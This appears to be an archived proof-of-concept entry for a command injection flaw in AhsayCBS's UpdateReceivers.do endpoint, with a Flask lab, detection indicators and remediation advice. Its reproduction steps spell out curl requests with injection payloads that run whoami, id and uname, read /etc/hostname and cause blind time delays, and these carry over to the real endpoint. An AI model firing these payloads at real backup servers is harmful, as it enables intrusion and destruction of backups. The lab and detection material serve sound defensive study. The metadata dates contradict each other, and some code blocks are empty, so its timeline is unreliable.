AhsayCBS Replication Receiver OS Command Injection (CVE-2026-105134) — Lab Reproduction
Published: 2026-11-25 • Researcher: RayanAlmulhim (lab author); VulDB (CNA, VDB-413351); Ahsay (vendor)
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-10-14. Federal remediation deadline 2026-10-17.
EPSS 55.0% · 99th percentile
- Severity
- Critical
- CVE
- CVE-2026-105134
- Category
- web
- Affected product
- Ahsay AhsayCBS — Replication Receiver component (endpoint /rps/api/json/UpdateReceivers.do)
- Affected versions
- Up to 9.15.2.69 and up to 10.3.4.44 (fixed in 9.15.2.70 and 10.3.4.45)
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-10-05 |
| Author / Researcher | RayanAlmulhim (lab author); VulDB (CNA, VDB-413351); Ahsay (vendor) |
| CVE / Advisory | CVE-2026-105134 |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (CVSSv3.1 base score; vector not provided in the source data — See references) |
| Status | PoC |
| Tags | RCE, OS-command-injection, CWE-78, Ahsay, AhsayCBS, replication-receiver, Flask, unauthenticated, lab-only |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Ahsay AhsayCBS — Replication Receiver component (endpoint /rps/api/json/UpdateReceivers.do) |
| Versions Affected | Up to 9.15.2.69 and up to 10.3.4.44 (fixed in 9.15.2.70 and 10.3.4.45) |
| Language / Platform | Java (AhsayCBS server); the archived lab is Python/Flask on Linux or macOS |
| Authentication Required | No (per the CVSS 10.0 PR:N profile; verify against the target deployment) |
| Network Access Required | Yes |
Summary
Ahsay AhsayCBS through 9.15.2.69 and 10.3.4.44 contains an OS command injection flaw in the Replication Receiver component. The random argument of /rps/api/json/UpdateReceivers.do is passed into a shell command without sanitisation, so a remote attacker can append command separators or command substitutions and execute arbitrary operating system commands on the backup server. Exploitation requires network access to the CBS management/replication interface, and the vulnerability is remotely exploitable with a published exploit; NVD scores it 10.0 and CISA added it to the KEV catalogue on 2026-10-14. The archived repository is not the AhsayCBS source: it is a clean-room Flask lab that reproduces the same bug class so the injection, detection and fix can be studied safely on localhost.
Vulnerability Details
Root Cause
The Replication Receiver builds a shell command string from an externally supplied value. In the UpdateReceivers.do handler the request parameter random, intended to be an opaque nonce for the replication handshake, is interpolated into a command template that is then executed with shell semantics. Because the value is neither validated against an allowlist nor quoted, shell metacharacters survive into the command line and are interpreted by the shell. The upstream lab models exactly this pattern (see app.py, where the random field is formatted into an echo command executed with shell=True), and the patched_app.py shows the correct fix: an allowlist token regex plus no shell and no string-built command at all.
Attack Vector
A remote attacker sends an HTTP POST to /rps/api/json/UpdateReceivers.do on the AhsayCBS host with a JSON body containing receiver_id and random. Setting random to a value such as x; id or x$(id) causes the injected command to run in the context of the AhsayCBS service account. Versions before 9.15.2.70 / 10.3.4.45 do not reject shell metacharacters in that field. Where the reply does not echo command output, the injection is blind and can be confirmed with time delays (sleep) or outbound DNS/HTTP callbacks.
Impact
Arbitrary command execution as the AhsayCBS service user on the backup server. AhsayCBS stores backup data, repository credentials and replication configuration, so compromise of the CBS host can expose or destroy protected backups, enable lateral movement into the backup network, and undermine the integrity of the whole backup estate. The vendor-supplied CVSS base score is 10.0, and the vulnerability is listed in CISA KEV, so it is treated as exploited in the wild.
Environment / Lab Setup
OS: Linux or macOS (any host that runs Python 3)
Target: app.py — deliberately vulnerable Flask reproduction of the
UpdateReceivers.do endpoint (127.0.0.1:5000)
Compare: patched_app.py — fixed variant (127.0.0.1:5001)
Attacker: Same host, curl or any HTTP client
Tools: Python 3, pip, Flask, curl
Note: This is NOT an AhsayCBS install. A real 9.15.2.69 or 10.3.4.44
CBS host is required to test the actual product, and that test
requires written authorisation.Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Confirm the endpoint is live and behaves normally — a benign token returns status ok and echoes empty stdout.
Shell script1 2 3curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \ -H "Content-Type: application/json" \ -d '{"receiver_id": "node1", "random": "abc123"}'Inject via command chaining — the separator terminates the echo command and appends an arbitrary command; the trailing comment discards the shell wrapper’s suffix.
Shell script1 2 3curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \ -H "Content-Type: application/json" \ -d '{"receiver_id": "node1", "random": "x; whoami; id #"}'Inject via command substitution — the substitution is evaluated before the outer command runs, so its output lands in the response.
Shell script1 2 3curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \ -H "Content-Type: application/json" \ -d '{"receiver_id": "node1", "random": "x$(uname -a) #"}'Exfiltrate a file through stdout — demonstrates data access, not just command execution.
Shell script1 2 3curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \ -H "Content-Type: application/json" \ -d '{"receiver_id": "node1", "random": "x; cat /etc/hostname #"}'Test the blind variant pattern — against a target that does not echo output, time a delay instead: replace the payload with
x; sleep 5 #and compare response latency with a baseline request.Verify the fix — repeat steps 2 to 4 against port 5001. The patched app rejects the token with HTTP 400 and message “invalid random token” because it validates the field with a strict allowlist and never invokes a shell.
Exploit Code
See app.py (vulnerable endpoint) and patched_app.py (fixed comparison) in this folder. The upstream walkthrough is upstream-README.md. No standalone exploit script ships in the repository; the request is the exploit.
Minimal inline reproduction of the injection point modelled by the lab:
| |
Expected Output
| |
For the whoami/id payload the stdout field carries the service account identity (for example uid=… lines from id); the lab is illustrative, so the exact identity depends on the account that started the Flask app.
Against the patched instance (port 5001) the same request returns HTTP 400:
| |
Detection & Indicators of Compromise
- Access logs for POST /rps/api/json/UpdateReceivers.do where the random (or receiver_id) value contains shell metacharacters such as ; | & $ ( ) backtick, redirection characters or newlines.
- Child processes spawned by the AhsayCBS service process (sh, bash, whoami, id, curl, wget, nc, sleep) — a strong command-injection indicator regardless of which parameter was abused.
- Outbound DNS or HTTP requests originating from the backup server shortly after a replication API request.
- Unexpected writes or truncation under /tmp or the CBS temp/work directories, and sudden changes to repository or replication configuration.
- Repeated HTTP 400 responses on the same endpoint may indicate blocklisting by a fixed build or a WAF; correlate with the source IP.
SIEM / IDS rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade AhsayCBS to 9.15.2.70 or 10.3.4.45 (or later) on the Replication Receiver and on every replica/receiver node. |
| Workaround | Restrict network access to the CBS replication and management interfaces to trusted replication peers only; never expose /rps/ to the internet. Block requests whose random/receiver_id values contain shell metacharacters at the reverse proxy or WAF. |
| Config Hardening | Run AhsayCBS as a dedicated low-privilege account, keep repository credentials in a separate secret store, monitor for unexpected child processes under the CBS service, and apply the vendor’s hardening guidance (See references). |
References
Notes
Auto-ingested from https://github.com/RayanAlmulhim/CVE-2026-105134-lab on 2026-11-25.
Review verdict: not a detector, scanner or fleet-audit tool — the repository is a runnable vulnerable application plus a fixed variant, so the injection can actually be triggered. It is, however, a clean-room lab and not an exploit for the real AhsayCBS product: the upstream README states plainly that no Ahsay code is included and that it is not a working exploit against AhsayCBS. Status is therefore PoC (lab-only) rather than Weaponized. The real endpoint and payload delivery are only described, and confirming exploitation of 9.15.2.69 / 10.3.4.44 requires an authorised AhsayCBS instance.
License: MIT (Copyright (c) 2026 Rayan), text archived as LICENSE. The repository’s DISCLAIMER.md is a zero-byte placeholder and was not copied; the README’s disclaimer section is preserved in upstream-README.md. Files were copied unmodified apart from the README rename to upstream-README.md. The lab binds to 127.0.0.1 only and was not executed during ingestion. Run only against systems you own or have written authorisation to test.
| |